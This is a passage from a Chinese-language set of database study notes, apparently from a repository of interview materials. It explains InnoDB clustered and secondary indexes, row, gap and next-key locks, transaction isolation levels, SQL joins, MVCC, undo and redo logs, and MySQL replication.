作为索引的键，并在叶子节点中存储一条记录中的所有信息。\n\n![](images/4bc2f4c58303c2b20751ff20cd692d33.png)\n\n> 图中对 B+ 树的描述与真实情况下 B+ 树中的数据结构有一些差别，不过这里想要表达的主要意思是：**聚集索引叶节点中保存的是整条行记录，而不是其中的一部分**。\n\n聚集索引与表的物理存储方式有着非常密切的关系，所有正常的表应该 **有且仅有一个** 聚集索引（绝大多数情况下都是主键），表中的所有行记录数据都是按照 **聚集索引** 的顺序存放的。\n\n当我们使用聚集索引对表中的数据进行检索时，可以直接获得聚集索引所对应的整条行记录数据所在的页，不需要进行第二次操作。\n\n#### 辅助索引\n\n数据库将 **所有的非聚集索引都划分为辅助索引**，但是这个概念对我们理解辅助索引并没有什么帮助；辅助索引也是通过 B+ 树实现的，但是它的叶节点并不包含行记录的全部数据，仅包含索引中的所有键和一个用于查找对应行记录的『书签』，在 InnoDB 中这个书签就是当前记录的主键。\n\n辅助索引的存在并不会影响聚集索引，因为聚集索引构成的 B+ 树是数据实际存储的形式，而辅助索引只用于加速数据的查找，所以一张表上往往有多个辅助索引以此来提升数据库的性能。\n\n> 一张表一定包含一个聚集索引构成的 B+ 树以及若干辅助索引的构成的 B+ 树。\n\n![](images/1bef5c5161044e2cf889574577eef6c9.png)\n\n如果在表 `users` 中存在一个辅助索引 (`first_name, age`)，那么它构成的 B+ 树大致就是上图这样，按照 (first_name, age) 的字母顺序对表中的数据进行排序，当查找到主键时，再通过聚集索引获取到整条行记录。\n\n![](images/2f31d7b8720a113ae5a7ed3c48a1c9d4.png)\n\n上图展示了一个使用辅助索引查找一条表记录的过程：通过辅助索引查找到对应的主键，最后在聚集索引中使用主键获取对应的行记录，这也是通常情况下行记录的查找方式。\n\n## [InnoDB 锁机制](https://segmentfault.com/a/1190000014133576)\n\n![](images/e86d2bb63f9ecf327e588f352bb26d3b.png)\n\nInnoDB默认使用行锁，实现了两种标准的行锁——共享锁与排他锁；\n\n|行锁类型| 锁功能|锁兼容性|  加锁|释放锁|\n| :------------- | :------------- |\n|共享锁（读锁、S锁）| 允许获取共享锁的亊务读数据|与共享锁兼容，与排它锁不兼容| 只有 `SerializaWe` 隔离级别会默认为：读加共享锁；其他隔离级别下，可显示使用 `select...lock in share model` 为读加共享锁| 在事务提交或回滚后会自动同时释放锁；除了使用 `start transaction` 的方式显式开启事务，InnoDB 也会自动为增删改査语句开启事务，并自动提交或回滚；(`autocommit=1`)|\n|排它锁（写锁、X锁）|允许获取排它锁的事务更新或删除数据|与共享锁不兼容，与排它锁不兼容|在默认的 `Reapeatable Read` 隔离级别下，InnoDB 会自动为增删改操作的行加排它锁；也可显式使用 `select...for update` 为读加排它锁|...|\n\n>1. 除了显式加锁的情况，其他情况下的加锁与解锁都无需人工干预\n>2. InnoDB 所有的行锁算法都是基于索引实现的，锁定的也都是索引或索引区间\n\n### 当前读 & 快照读\n\n**当前读**：即加锁读，读取记录的最新版本，会加锁保证其他并发事务不能修改当前记录，直至获取锁的事务释放锁；使用当前读的操作主要包括：**显式加锁的读操作与插入/更新/删除等写操作**，如下所示：\n\n```\nselect * from table where ? lock in share mode;\nselect * from table where ? for update;\ninsert into table values (…);\nupdate table set ? where ?;\ndelete from table where ?;\n```\n\n>注：当 `Update` SQL 被发给 `MySQL` 后， `MySQL Server` 会根据where条件，读取第一条满足条件的记录，然后 InnoDB 引擎会将第一条记录返回，并加锁，待 `MySQL Server` 收到这条加锁的记录之后，会再发起一个 `Update` 请求，更新这条记录。一条记录操作完成，再读取下一条记录，直至没有满足条件的记录为止。因此， `Update` 操作内部，就包含了当前读。同理， `Delete` 操作也一样。 `Insert` 操作会稍微有些不同，简单来说，就是 `Insert` 操作可能会触发 `Unique Key` 的冲突检查，也会进行一个当前读。\n\n**快照读：即不加锁读，读取记录的快照版本而非最新版本，通过MVCC实现**；\n\nInnoDB 默认的 `RR` 事务隔离级别下，不显式加`lock in share mode`与`for update`的 `select` 操作都属于快照读，保证事务执行过程中只有第一次读之前提交的修改和自己的修改可见，其他的均不可见；\n\n### 共享锁与独占锁\n\n\n### 意向锁\n\nInnoDB 支持多粒度的锁，允许表级锁和行级锁共存。一个类似于 `LOCK TABLES ... WRITE` 的语句会获得这个表的 `x` 锁。为了实现多粒度锁，InnoDB 使用了意向锁（简称 I 锁）。I 锁是表明一个事务稍后要获得针对一行记录的某种锁（`s or x`）的对应表的表级锁，有两种：\n\n  - 意向排它锁（简称 IX 锁）表明一个事务意图在某个表中设置某些行的 x 锁\n  - 意向共享锁（简称 IS 锁）表明一个事务意图在某个表中设置某些行的 s 锁\n\n`SELECT ... LOCK IN SHARE MODE` 设置一个 `IS` 锁, `SELECT ... FOR UPDATE` 设置一个 `IX` 锁。意向锁的原则如下：\n\n  - 一个事务必须先持有该表上的 IS 或者更强的锁才能持有该表中某行的 S 锁\n  - 一个事务必须先持有该表上的 IX 锁才能持有该表中某行的 X 锁\n\n新请求的锁只有兼容已有锁才能被允许，否则必须等待不兼容的已有锁被释放。**一个不兼容的锁请求不被允许是因为它会引起死锁，错误会发生**。意向锁只会阻塞全表请求（比如 `LOCK TABLES ... WRITE` ）。**意向锁的主要目的是展示某人正在锁定表中一行，或者将要锁定一行**。\n\n更多信息参见：[并发控制](concurrent_control.md)\n\n###  Record Lock\n\n记录锁（Record Lock）是加到**索引记录**上的锁，假设我们存在下面的一张表 `users`：\n\n```\n    CREATE TABLE users(\n        id INT NOT NULL AUTO_INCREMENT,\n        last_name VARCHAR(255) NOT NULL,\n        first_name VARCHAR(255),\n        age INT,\n        PRIMARY KEY(id),\n        KEY(last_name),\n        KEY(age)\n    );\n```\n\n如果我们使用 `id` 或者 `last_name` 作为 SQL 中 `WHERE` 语句的过滤条件，那么 InnoDB 就可以通过索引建立的 B+ 树找到行记录并添加索引，但是如果使用 `first_name` 作为过滤条件时，由于 InnoDB 不知道待修改的记录具体存放的位置，也无法对将要修改哪条记录提前做出判断就会锁定整个表。\n\n###  Gap Lock\n\n记录锁是在存储引擎中最为常见的锁，除了记录锁之外，InnoDB 中还存在间隙锁（Gap Lock），间隙锁是对索引记录中的一段连续区域的锁；当使用类似 `SELECT * FROM users WHERE id BETWEEN 10 AND 20 FOR UPDATE;` 的 SQL 语句时，就会阻止其他事务向表中插入 `id = 15` 的记录，因为整个范围都被间隙锁锁定了。\n\n> 间隙锁是存储引擎对于性能和并发做出的权衡，并且只用于某些事务隔离级别。\n\n虽然间隙锁中也分为共享锁和互斥锁，不过它们之间并不是互斥的，也就是不同的事务可以同时持有一段相同范围的共享锁和互斥锁，它唯一阻止的就是**其他事务向这个范围中添加新的记录**。\n\n#### 间隙锁的缺点\n\n  - 间隙锁有一个比较致命的弱点，就是当锁定一个范围键值之后，即使某些不存在的键值也会被无辜的锁定，而造成在锁定的时候无法插入锁定键值范围内的任何数据。在某些场景下这可能会对性能造成很大的危害\n  - 当Query无法利用索引的时候， Innodb会放弃使用行级别锁定而改用表级别的锁定，造成并发性能的降低；\n  - 当Quuery使用的索引并不包含所有过滤条件的时候，数据检索使用到的索引键所指向的数据可能有部分并不属于该Query的结果集的行列，但是也会被锁定，因为间隙锁锁定的是一个范围，而不是具体的索引键；\n  - 当Query在使用索引定位数据的时候，如果使用的索引键一样但访问的数据行不同的时候（索引只是过滤条件的一部分），一样会被锁定\n\n\n####  Next-Key Lock\n\nNext-Key 锁相比前两者就稍微有一些复杂，它是记录锁和记录前的间隙锁的结合，在 `users` 表中有以下记录：\n\n```\n    +------|-------------|--------------|-------+\n    |   id | last_name   | first_name   |   age |\n    |------|-------------|--------------|-------|\n    |    4 | stark       | tony         |    21 |\n    |    1 | tom         | hiddleston   |    30 |\n    |    3 | morgan      | freeman      |    40 |\n    |    5 | jeff        | dean         |    50 |\n    |    2 | donald      | trump        |    80 |\n    +------|-------------|--------------|-------+\n```\n\n\n如果使用 Next-Key 锁，那么 Next-Key 锁就可以在需要的时候锁定以下的范围：\n\n```\n    (-∞, 21]\n    (21, 30]\n    (30, 40]\n    (40, 50]\n    (50, 80]\n    (80, ∞)\n```\n\n> 既然叫 Next-Key 锁，锁定的应该是当前值和后面的范围，但是实际上却不是，Next-Key 锁锁定的是当前值和前面的范围。\n\n当我们更新一条记录，比如 `SELECT * FROM users WHERE age = 30 FOR UPDATE;`，InnoDB 不仅会在范围 `(21, 30]` 上加 Next-Key 锁，还会在这条该记录索引增长方向的范围 `(30, 40]` 加间隙锁，所以插入 `(21, 40]` 范围内的记录都会被锁定。\n\n> Next-Key 锁的作用其实是为了解决幻读的问题。\n\n### 插入意向锁\n\n插入意向锁是在插入一行记录操作之前设置的一种间隙锁，这个锁释放了一种插入方式的信号，亦即多个事务在相同的索引间隙插入时如果不是插入间隙中相同的位置就不需要互相等待。假设有索引值`4、7`，几个不同的事务准备插入`5、6`，每个锁都在获得插入行的独占锁之前用插入意向锁各自锁住了`4、7`之间的间隙，但是不阻塞对方因为插入行不冲突。\n\n### 自增锁\n\n自增锁是一个特殊的表级锁，事务插入自增列的时候需要获取，最简单情况下如果一个事务插入一个值到表中，任何其他事务都要等待，这样第一个事物才能获得连续的主键值。\n\n### [锁选择](http://hedengcheng.com/?p=771#_Toc374698309)\n\n```\n+——-+————-+\n| id | name |\n+——-+————-+\n| 1 | title1 |\n+——-+————-+\n| 2 | title2 |\n+——-+————-+\n| 3 | title3 |\n+——-+————-+\n| 9 | title9 |\n+——-+————-+\n| 10 | title10 |\n+——-+————-+\n```\n\n按照原理来说，`id>5 and id<7`这个查询条件，在表中找不到满足条件的项，因此会对第一个不满足条件的项(`id = 9`)上加GAP锁，防止后续其他事务插入满足条件的记录。\n\n而 **GAP 锁与GAP 锁是不冲突的**，那么为什么两个同时执行`id>5 and id<7`查询的事务会冲突呢？\n\n原因在于，`MySQL Server`并没有将`id<7`这个查询条件下降到`InnoDB`引擎层，因此`InnoDB`看到的查询，是`id>5`，正向扫描。读出的记录`id=9`，先加上`next key锁`(Lock X + GAP lock)，然后返回给 MySQL Server 进行判断。\nMySQL Server 此时才会判断返回的记录是否满足`id<7`的查询条件。此处不满足，查询结束。\n\n因此，`id=9`记录上，真正持有的锁是`next key`锁，**而`next key`锁之间是相互冲突的**，这也说明了为什么两个`id>5 and id<7`查询的事务会冲突的原因。\n\n\n## InnoDB 事务隔离\n\n###  几种隔离级别\n\n事务的隔离性是数据库处理数据的几大基础之一，而隔离级别其实就是提供给用户用于在性能和可靠性做出选择和权衡的配置项。\n\nISO 和 ANIS SQL 标准制定了四种事务隔离级别，而 InnoDB 遵循了 SQL:1992 标准中的四种隔离级别：`READ UNCOMMITED`、`READ COMMITED`、`REPEATABLE READ` 和 `SERIALIZABLE`；每个事务的隔离级别其实都比上一级多解决了一个问题：\n\n  - `RAED UNCOMMITED`：使用查询语句不会加锁，可能会读到未提交的行（Dirty Read）；\n    > 可以读取未提交记录。此隔离级别，不会使用，忽略。\n\n  - `READ COMMITED`：只对记录加记录锁，而不会在记录之间加间隙锁，所以允许新的记录插入到被锁定记录的附近，所以再多次使用查询语句时，可能得到不同的结果（Non-Repeatable Read）；\n    > 快照读忽略，本文不考虑。针对当前读，RC隔离级别保证对读取到的记录加锁 (记录锁)，存在幻读现象。\n\n  - `REPEATABLE READ`：快照读忽略，本文不考虑。针对当前读，**RR隔离级别保证对读取到的记录加锁 (记录锁)，同时保证对读取的范围加锁，新的满足查询条件的记录不能够插入 (间隙锁)**，不存在幻读现象。\n\n  - `SERIALIZABLE`：从MVCC并发控制退化为基于锁的并发控制。不区别快照读与当前读，所有的读操作均为当前读，读加读锁 (S锁)，写加写锁 (X锁)。\n    > Serializable隔离级别下，读写冲突，因此并发度急剧下降，在MySQL/InnoDB下不建议使用。\n\nMySQL 中默认的事务隔离级别就是 `REPEATABLE READ`，但是它通过 Next-Key 锁也能够在某种程度上解决幻读的问题。\n\n![Transaction-Isolation-Matrix][images/15a2370c552e932907f8b2d3587171ef.png]\n\n接下来，我们将数据库中创建如下的表并通过个例子来展示在不同的事务隔离级别之下，会发生什么样的问题：\n\n```\n    CREATE TABLE test(\n        id INT NOT NULL,\n        UNIQUE(id)\n    );\n```\n\n###  脏读\n\n> 在一个事务中，读取了其他事务未提交的数据。\n\n当事务的隔离级别为 `READ UNCOMMITED` 时，我们在 `SESSION 2` 中插入的**未提交**数据在 `SESSION 1` 中是可以访问的。\n\n![Read-Uncommited-Dirty-Read][images/e4696fae4a417bdd70dd04f0786647ed.png]\n\n###  不可重复读\n\n> 在一个事务中，同一行记录被访问了两次却得到了不同的结果。\n\n当事务的隔离级别为 `READ COMMITED` 时，虽然解决了脏读的问题，但是如果在 `SESSION 1` 先查询了**一行**数据，在这之后 `SESSION 2` 中修改了同一行数据并且提交了修改，在这时，如果 `SESSION 1` 中再次使用相同的查询语句，就会发现两次查询的结果不一样。\n\n![Read-Commited-Non-Repeatable-Read][images/d2d41261df71879fab0eb54771688d78.png]\n\n不可重复读的原因就是，在 `READ COMMITED` 的隔离级别下，存储引擎不会在查询记录时添加行锁，锁定 `id = 3` 这条记录。\n\n###  幻读\n\n> 在一个事务中，同一个范围内的记录被读取时，其他事务向这个范围添加了新的记录。\n\n重新开启了两个会话 `SESSION 1` 和 `SESSION 2`，在 `SESSION 1` 中我们查询全表的信息，没有得到任何记录；在 `SESSION 2` 中向表中插入一条数据并提交；由于 `REPEATABLE READ` 的原因，再次查询全表的数据时，我们获得到的仍然是空集，但是在向表中插入同样的数据却出现了错误。\n\n![Repeatable-Read-Phantom-Read][images/b356bfdde7d52c6993a697c4529d2f6b.png]\n\n这种现象在数据库中就被称作幻读，虽然我们使用查询语句得到了一个空的集合，但是插入数据时却得到了错误，好像之前的查询是幻觉一样。\n\n在标准的事务隔离级别中，幻读是由更高的隔离级别 `SERIALIZABLE` 解决的，但是它也可以通过 MySQL 提供的 `Next-Key` 锁解决：\n\n![Repeatable-with-Next-Key-Lock][images/8d3094a3893ae4d1806dfcb3a93b7dff.png]\n\n`REPEATABLE READ` 和 `READ UNCOMMITED` 其实是矛盾的，如果保证了前者就看不到已经提交的事务，如果保证了后者，就会导致两次查询的结果不同，MySQL 为我们提供了一种折中的方式，能够在 `REPEATABLE READ` 模式下加锁访问已经提交的数据，其本身并不能解决幻读的问题，而是通过文章前面提到的 `Next-Key` 锁来解决。\n\n\n## 参考连接\n\n[『浅入浅出』MySQL 和 InnoDB](https://draveness.me/mysql-innodb)\n"
  },
  {
    "path": "docs/android/interview/basic/database/join.md",
    "content": "# 连接\n\n在数据库原理中，关系运算包含 **选择**、**投影**、**连接** 这三种运算。相应的在SQL语句中也有表现，其中Where子句作为选择运算，Select子句作为投影运算，From子句作为连接运算。\n\n连接运算是从两个关系的笛卡尔积中选择属性间满足一定条件的元组，在连接中最常用的是等值连接和自然连接。\n\n  - **等值连接**：关系R、S,取两者笛卡尔积中属性值相等的元组，不要求属性相同。比如 `R.A=S.B`\n  - **自然连接（内连接）**：是一种特殊的等值连接，**它要求比较的属性列必须是相同的属性组，并且把结果中重复属性去掉**。\n\n```sql\n-- 关系R\n-- +----+--------+\n-- | A | B   | C |\n-- +----+--------+\n-- | a1 | b1 | 5 |\n-- | a1 | b2 | 6 |\n-- | a2 | b3 | 8 |\n-- | a2 | b4 | 12|\n-- +----+--------+\n\n-- 关系S\n-- +----+----+\n-- | B   | E |\n-- +----+----+\n-- | b1 | 3 |\n-- | b2 | 7 |\n-- | b3 | 10 |\n-- | b3 | 2 |\n-- | b5 | 2|\n-- +----+----+\n```\n\n自然连接 R & S的结果为：\n\n```sql\n-- +----+----+-----+----+\n-- | A | B   | C  | E  |\n-- +----+----+-----+----+\n-- | a1 | b1  | 5 | 3  |\n-- | a1 | b2  | 6 | 7  |\n-- | a2 | b3  | 8 | 10 |\n-- | a2 | b3 | 8 | 2  |\n-- +----+----+-----+----+\n```\n\n两个关系在做自然连接时，选择两个关系在公共属性上值相等的元组构成新的关系。此时关系R中某些元组有可能在S中不存在公共属性上相等的元组，从而造成R中这些元组在操作时被舍弃，同样，S中某些元组也可能被舍弃。这些舍弃的元组被称为 **悬浮元组**。\n\n如果把悬浮元组也保存在结果中，而在其他属性上置为NULL，那么这种连接就成为 **外连接**，如果只保留左边关系R中的悬浮元组就叫做 **左外连接（左连接）**，如果只保留右边关系S中的悬浮元组就叫做 **右外连接（右连接）**。\n\n## Join\n\nJoin 用于多表中字段之间的联系，语法如下：\n\n```sql\n... FROM table1 INNER|LEFT|RIGHT JOIN table2 ON conditiona\n\n-- table1:左表；table2:右表。\n```\n\nJOIN 按照功能大致分为如下三类：\n\n  - **INNER JOIN（内连接，或等值连接）**：取得两个表中存在连接匹配关系的记录。\n  - **LEFT JOIN（左连接）**：取得左表（table1）完全记录，即是右表（table2）并无对应匹配记录。\n  - **RIGHT JOIN（右连接）**：与 LEFT JOIN 相反，取得右表（table2）完全记录，即是左表（table1）并无匹配对应记录。\n\n在下面的示例中使用以下数据：\n\n```sql\nmysql> select A.id,A.name,B.name from A,B where A.id=B.id;\n-- +----+-----------+-------------+\n-- | id | name       | name             |\n-- +----+-----------+-------------+\n-- |  1 | Pirate       | Rutabaga      |\n-- |  2 | Monkey    | Pirate            |\n-- |  3 | Ninja         | Darth Vader |\n-- |  4 | Spaghetti  | Ninja             |\n-- +----+-----------+-------------+\n-- 4 rows in set (0.00 sec)\n```\n\n### Inner Join\n\n内连接，也叫等值连接，inner join产生同时符合A和B的一组数据。\n\n```sql\nmysql> select * from A inner join B on A.name = B.name;\n-- +----+--------+----+--------+\n-- | id | name   | id | name   |\n-- +----+--------+----+--------+\n-- |  1 | Pirate |  2 | Pirate |\n-- |  3 | Ninja  |  4 | Ninja  |\n-- +----+--------+----+--------+\n```\n\n![](images/join_1.png)\n\n### Left Join\n\n```sql\nmysql> select * from A left join B on A.name = B.name;\n-- 或者：select * from A left outer join B on A.name = B.name;\n\n-- +----+-----------+------+--------+\n-- | id | name      | id   | name   |\n-- +----+-----------+------+--------+\n-- |  1 | Pirate    |    2 | Pirate |\n-- |  2 | Monkey    | NULL | NULL   |\n-- |  3 | Ninja     |    4 | Ninja  |\n-- |  4 | Spaghetti | NULL | NULL   |\n-- +----+-----------+------+--------+\n-- 4 rows in set (0.00 sec)\n```\n\n![](images/join_2.png)\n\n`left join`，（或`left outer join`:在Mysql中两者等价，推荐使用`left join`）左连接从左表(A)产生一套完整的记录，与匹配的记录(右表(B))。如果没有匹配，右侧将包含null。\n\n如果想只从左表(A)中产生一套记录，但不包含右表(B)的记录，可以通过设置where语句来执行，如下：\n\n```sql\nmysql> select * from A left join B on A.name=B.name where A.id is null or B.id is null;\n-- +----+-----------+------+------+\n-- | id | name      | id   | name |\n-- +----+-----------+------+------+\n-- |  2 | Monkey    | NULL | NULL |\n-- |  4 | Spaghetti | NULL | NULL |\n-- +----+-----------+------+------+\n-- 2 rows in set (0.00 sec)\n```\n\n![](images/join_3.png)\n\n根据上面的例子可以求差集，如下：\n\n```sql\nSELECT * FROM A LEFT JOIN B ON A.name = B.name\nWHERE B.id IS NULL\nunion\nSELECT * FROM A right JOIN B ON A.name = B.name\nWHERE A.id IS NULL;\n\n-- +------+-----------+------+-------------+\n-- | id   | name      | id   | name        |\n-- +------+-----------+------+-------------+\n-- |    2 | Monkey    | NULL | NULL        |\n-- |    4 | Spaghetti | NULL | NULL        |\n-- | NULL | NULL      |    1 | Rutabaga    |\n-- | NULL | NULL      |    3 | Darth Vader |\n-- +------+-----------+------+-------------+\n```\n\n>union ：用于合并多个 select 语句的结果集，并去掉重复的值。\n>union all ：作用和 union 类似，但不会去掉重复的值。\n\n![](images/join_4.png)\n\n### Cross join\n\n交叉连接，得到的结果是两个表的乘积，即笛卡尔积。\n\n实际上，在 MySQL 中（**仅限于 MySQL**） `CROSS JOIN` 与 `INNER JOIN` 的表现是一样的，在不指定 ON 条件得到的结果都是笛卡尔积，反之取得两个表完全匹配的结果。\n\n`INNER JOIN` 与 `CROSS JOIN` 可以省略 `INNER` 或 `CROSS` 关键字，因此下面的 SQL 效果是一样的：\n\n```sql\n... FROM table1 INNER JOIN table2\n... FROM table1 CROSS JOIN table2\n... FROM table1 JOIN table2\n```\n"
  },
  {
    "path": "docs/android/interview/basic/database/mysql.md",
    "content": "# MySql\n\n## 引擎\n\n## [MVCC](https://www.jianshu.com/p/f692d4f8a53e)\n\n`InnoDB` 支持 `MVCC` 来提高系统读写并发性能。InnoDB MVCC 的实现基于 `Undo log`，通过回滚段来构建需要的版本记录。通过 `ReadView` 来判断哪些版本的数据可见。同时 `Purge` 线程是通过 `ReadView` 来清理旧版本数据。\n\nMVCC最大的优势：**读不加锁，读写不冲突**。在读多写少的OLTP应用中，读写不冲突是非常重要的，极大的增加了系统的并发性能\n\n### [MYSQL 事务日志](https://draveness.me/mysql-transaction)\n事务日志可以帮助提高事务的效率。使用事务日志，存储引擎在修改表的数据时只需要修改其内存拷贝，再把该修改行为记录到持久在硬盘上的事务日志中，而不用每次都将修改的数据本身持久到磁盘。\n\n事务日志采用的是追加的方式，因此写日志的操作是磁盘上一小块区域内的顺序I/O，而不像随机I/O需要在磁盘的多个地方移动磁头，所以采用事务日志的方式相对来说要快得多。事务日志持久以后，内存中被修改的数据在后台可以慢慢地刷回到磁盘。目前大多数存储引擎都是这样实现的，我们通常称之为预写式日志（Write-Ahead Logging），修改数据需要写两次磁盘。\n\n如果数据的修改已经记录到事务日志并持久化，但数据本身还没有写回磁盘，此时系统崩溃，存储引擎在重启时能够自动恢复这部分修改的数据。\n\n`MySQL Innodb`中跟数据持久性、一致性有关的日志，有以下几种：`Redo Log`、`Undo Log`。\n\n#### 回滚日志 -- Undo Log\n\n想要保证事务的 **原子性**，就需要在异常发生时，对已经执行的操作进行回滚，而在 MySQL 中，恢复机制是通过回滚日志（`undo log`）实现的，**所有事务进行的修改都会先记录到这个回滚日志中，然后在对数据库中的对应行进行写入**。\n\n![image](images/98167962bdc24fd64ad804cf61b9965a.png)\n\n这个过程其实非常好理解，为了能够在发生错误时撤销之前的全部操作，肯定是需要将之前的操作都记录下来的，这样在发生错误时才可以回滚。\n\n回滚日志除了能够在发生错误或者用户执行 `ROLLBACK` 时提供回滚相关的信息，它还能够在整个系统发生崩溃、数据库进程直接被杀死后，当用户再次启动数据库进程时，还能够立刻通过查询回滚日志将之前未完成的事务进行回滚，这也就需要回滚日志必须先于数据持久化到磁盘上，是我们需要先写日志后写数据库的主要原因。\n\n回滚日志并不能将数据库物理地恢复到执行语句或者事务之前的样子；它是逻辑日志，**当回滚日志被使用时，它只会按照日志逻辑地将数据库中的修改撤销掉**，可以理解为，我们在事务中使用的每一条 `INSERT` 都对应了一条 `DELETE` ，每一条 `UPDATE` 也都对应一条相反的 `UPDATE` 语句。\n\n![image](images/272a4e5b93b603b6e638e54fa4d76381.png)\n\n#### 重做日志 -- Redo Log\n\n与原子性一样，事务的持久性也是通过日志来实现的，**MySQL 使用重做日志（redo log）实现事务的持久性**，重做日志由两部分组成，一是 **内存** 中的重做日志缓冲区，因为重做日志缓冲区在内存中，所以它是易失的，另一个就是在 **磁盘** 上的重做日志文件，它是持久的。\n\n![image](images/1cd1c0053b68b7e659d2081aa7029f88.png)\n\n当我们在一个事务中尝试对数据进行修改时，它会先将数据从磁盘读入内存，并更新内存中缓存的数据，然后生成一条重做日志并写入重做日志缓存，当事务真正提交时，MySQL 会将重做日志缓存中的内容刷新到重做日志文件，再将内存中的数据更新到磁盘上，图中的第 `4、5` 步就是在事务提交时执行的。\n\n在 InnoDB 中，重做日志都是以 `512` 字节的块的形式进行存储的，同时因为块的大小与磁盘扇区大小相同，所以重做日志的写入可以保证原子性，不会由于机器断电导致重做日志仅写入一半并留下脏数据。\n\n除了所有对数据库的修改会产生重做日志，因为回滚日志也是需要持久存储的，它们也会创建对应的重做日志，在发生错误后，数据库重启时会从重做日志中找出未被更新到数据库磁盘中的日志重新执行以满足事务的持久性。\n\n#### 回滚日志和重做日志\n\n在数据库系统中，事务的原子性和持久性是由事务日志（transaction log）保证的，在实现时也就是上面提到的两种日志，前者用于对事务的影响进行撤销，后者在错误处理时对已经提交的事务进行重做，它们能保证两点：\n\n  - 发生错误或者需要回滚的事务能够成功回滚（原子性）；\n  - 在事务提交后，数据没来得及写会磁盘就宕机时，在下次重新启动后能够成功恢复数据（持久性）；\n\n在数据库中，这两种日志经常都是一起工作的，我们可以将它们整体看做一条事务日志，其中包含了事务的 `ID`、修改的`行元素`以及`修改前后的值`。\n\n![image](images/a9981d16541576f1df6295ceb99ec9cf.png)\n\n一条事务日志同时包含了修改前后的值，能够非常简单的进行回滚和重做两种操作，在这里我们也不会对重做和回滚日志展开进行介绍，可能会在之后的文章谈一谈数据库系统的恢复机制时提到两种日志的使用。\n\n### MySQL Server 日志\n\n`binlog` 是 Mysql sever 层维护的一种二进制日志，与 innodb 引擎中的 `redo/undo log` 是完全不同的日志；其主要是用来记录对 mysql 数据更新或潜在发生更新的 SQL 语句，并以\"事务\"的形式保存在磁盘中；作用主要有：\n\n  - 复制：MySQL Replication 在 Master 端开启 `binlog` ，Master 把它的二进制日志传递给 `slaves` 并回放来达到 `master-slave` 数据一致的目的\n  - 数据恢复：通过 mysqlbinlog 工具恢复数据\n  - 增量备份\n\n### Buffer Pool\n\n如果 MySQL 不使用内存缓冲池，每次读取数据时，都需要访问磁盘，会大大的增加磁盘的IO请求，导致效率低下；在 Innodb 引擎在读取数据的时候，把相应的数据和索引载入到内存的缓冲池（`buffer pool`）中，一定程度的提高了数据的读写速度。\n\n缓存包括：`索引页`，`数据页`，`undo页`，`插入缓冲`，`自适应哈希索引`，`innodb存储的锁信息`，`数据字典`等。工作方式是将数据库文件按照页（每页16k）读取到缓冲池，然后按照最近最少使用算法（LRU）来保留缓冲池中的缓冲数据。如果数据库文件需要修改，总是首先修改在缓冲池中的页（发生修改后即成为脏页），然后在按照一定的频率将缓冲池中的脏页刷新到文件\n\nMySQL 中的原则是日志先行。为了满足事务的持久性，防止 `buffer pool` 数据丢失以及事务持久性， InnoDB 引入了 `redo log`。为了满足事务的原子性，innodb 引入了 `undo log`。\n\n### MVCC实现\n\n**MVCC是通过在每行记录后面保存两个隐藏的列来实现的。这两个列，一个保存了行的创建时间，一个保存行的过期时间（或删除时间）**。当然存储的并不是实际的时间值，而是系统版本号（`system version number`)。每开始一个新的事务，系统版本号都会自动递增。**事务开始时刻的系统版本号会作为事务的版本号，用来和查询到的每行记录的版本号进行比较。**\n\n下面看一下在 `REPEATABLE READ` 隔离级别下，MVCC 具体是如何操作的：\n\n  - `SELECT`：InnoDB 会根据以下两个条件检查每行记录：\n    1. InnoDB 只查找版本早于当前事务版本的数据行（也就是，行的系统版本号小于或等于事务的系统版本号），这样可以确保事务读取的行，要么是在事务开始前已经存在的，要么是事务自身插入或者修改过的。\n    2. 行的删除版本要么未定义，要么大于当前事务版本号。这可以确保事务读取到的行，在事务开始之前未被删除。只有符合上述两个条件的记录，才能返回作为查询结果\n\n  - `INSERT`：InnoDB 为新插入的每一行保存当前系统版本号作为行版本号。\n\n  - `DELETE`：InnoDB 为删除的每一行保存当前系统版本号作为行删除标识。\n\n  - `UPDATE`：InnoDB 插入一行新记录，**保存当前系统版本号作为行版本号，同时保存当前系统版本号到原来的行作为行删除标识**。保存这两个额外系统版本号，使大多数读操作都可以不用加锁。这样设计使得读数据操作很简单，性能很好，并且也能保证只会读取到符合标准的行，不足之处是每行记录都需要额外的存储空间，需要做更多的行检查工作，以及一些额外的维护工作\n\n## 主从同步\n\n简单来说，就是保证主SQL（Master）和从SQL（Slave）的数据是一致性的，向Master插入数据后，Slave会自动从Master把修改的数据同步过来（有一定的延迟），通过这种方式来保证数据的一致性，就是主从复制。\n\n### MySQL主从能解决什么问题\n\n#### 高可用\n因为数据都是相同的，所以当Master挂掉后，可以指定一台Slave充当Master继续保证服务运行，因为数据是一致性的（如果当插入Master就挂掉，可能不一致，因为同步也需要时间），当然这种配置不是简单的把一台Slave充当Master，毕竟还要考虑后续的Salve同步Master，当然本文并不是将高可用的配置，所以这里就不多讲了。\n\n#### 负载均衡\n因为读写分离也算是负载均衡的一种，所以就不单独写了，因为一般都是有多台Slave的，所以可以将读操作指定到Slave服务器上（需要代码控制），然后再用负载均衡来选择那台Slave来提供服务，同时也可以吧一些大量计算的查询指定到某台Slave，这样就不会影响Master的写入以及其他查询\n\n#### 数据备份\n一般我们都会做数据备份，可能是写定时任务，一些特殊行业可能还需要手动备份，有些行业要求备份和原数据不能在同一个地方，所以主从就能很好的解决这个问题，不仅备份及时，而且还可以多地备份，保证数据的安全\n\n#### 业务模块化\n可以一个业务模块读取一个Slave，再针对不同的业务场景进行数据库的索引创建和根据业务选择MySQL存储引擎\n\n#### 高扩展（硬件扩展）\n主从复制支持2种扩展方式：\n  1. `scale-up`：向上扩展或者纵向扩展，主要是提供比现在服务器更好性能的服务器，比如增加CPU和内存以及磁盘阵列等，因为有多台服务器，所以可扩展性比单台更大\n  2. `scale-out`：向外扩展或者横向扩展，是指增加服务器数量的扩展，这样主要能分散各个服务器的压力\n\n### 主从复制的缺点\n\n#### 成本增加\n无可厚非的是搭建主从肯定会增加成本，毕竟一台服务器和两台服务器的成本完全不同，另外由于主从必须要开启二进制日志，所以也会造成额外的性能消耗\n\n#### 数据延迟\nSlave从Master复制过来肯定是会有一定的数据延迟的，所以当刚插入就出现查询的情况，可能查询不出来，当然如果是插入者自己查询，那么可以直接从Master中查询出来，当然这个也是需要用代码来控制的\n\n#### 写入更慢\n主从复制主要是针对读远大于写或者对数据备份实时性要求较高的系统中，因为 `Master` 在写中需要更多操作，而且只有一台写入的 Master，写入的压力并不能被分散\n\n#### 复制方式\nMySQL5.6开始主从复制有两种方式：基于日志（binlog）、基于GTID（全局事务标示符）。\n\n### 